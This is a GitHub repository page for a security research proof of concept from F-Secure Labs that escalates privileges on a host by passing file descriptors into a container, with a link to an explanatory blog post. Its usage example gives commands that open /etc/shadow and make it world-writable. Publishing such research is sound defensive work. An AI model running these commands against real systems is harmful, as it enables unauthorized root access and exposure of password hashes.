Skip to content

Example of passing file descriptors into a container to perform a privilege escalation on the host

Notifications You must be signed in to change notification settings

FSecureLABS/fdpasser

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

What is this?

Read the F-Secure Blog: https://labs.f-secure.com/blog/helping-root-out-of-the-container/

Build

make

Example

In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10  2019 /etc/shadow

About

Example of passing file descriptors into a container to perform a privilege escalation on the host

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published